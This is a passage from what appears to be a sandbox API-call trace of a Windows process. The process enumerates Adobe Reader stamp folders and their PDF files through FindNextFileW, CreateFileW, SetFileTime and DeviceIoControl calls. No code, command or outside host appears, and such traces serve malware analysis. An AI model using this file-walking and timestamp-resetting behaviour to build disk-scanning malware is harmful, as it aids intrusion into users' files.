ftLastWriteTime.dwLowDateTime=0x80698ac0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.305] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xeac7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.305] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0083.305] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb731, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0083.305] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa118, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.305] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80698ac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0083.305] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1ac4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.305] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1ac4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.305] GetLastError () returned 0x12 [0083.305] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a35d0) returned 1 [0083.305] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0083.306] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a36d8) returned 1 [0083.306] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.306] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80672960, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1 [0083.306] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.306] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80672960, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.307] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0083.307] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0083.307] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0083.308] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0083.308] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0083.308] NtClose (Handle=0x180) returned 0x0 [0083.308] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.308] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.309] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.309] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a36d8 [0083.309] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e91c0 [0083.311] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80672960, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.311] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa85d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.311] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.311] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.312] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a35d0 [0083.312] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215ae0 [0083.312] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a95b8 [0083.313] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.313] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0083.313] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.313] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.313] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.314] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.314] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.314] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215b00 [0083.314] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a96c0 [0083.314] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.314] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb731, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0083.314] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.315] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.315] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.315] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215b20 [0083.316] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a97c8 [0083.316] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.316] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb9dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.316] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.316] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.316] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.317] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215b40 [0083.317] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a98d0 [0083.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.318] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0083.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.318] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.318] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215b60 [0083.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a99d8 [0083.319] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.319] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14758, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.319] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.320] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.320] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215b80 [0083.320] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a9ae0 [0083.321] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.321] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14758, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.321] GetLastError () returned 0x12 [0083.321] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e8f80 [0083.321] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0083.321] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x80672960, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.321] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa85d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.321] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x80f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0083.321] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb731, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0083.321] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb9dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.321] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0083.321] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14758, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.321] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80672960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14758, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.321] GetLastError () returned 0x12 [0083.321] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a36d8) returned 1 [0083.322] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0083.322] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a35d0) returned 1 [0083.323] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.323] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLV", cAlternateFileName="")) returned 1 [0083.323] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.323] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.343] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\slv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0083.343] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0083.343] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0083.344] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0083.345] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0083.345] NtClose (Handle=0x174) returned 0x0 [0083.345] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.345] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.345] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.345] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.346] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.346] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a35d0 [0083.346] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SLV\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e8f80 [0083.354] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8064c800, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8064c800, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8064c800, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.354] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, 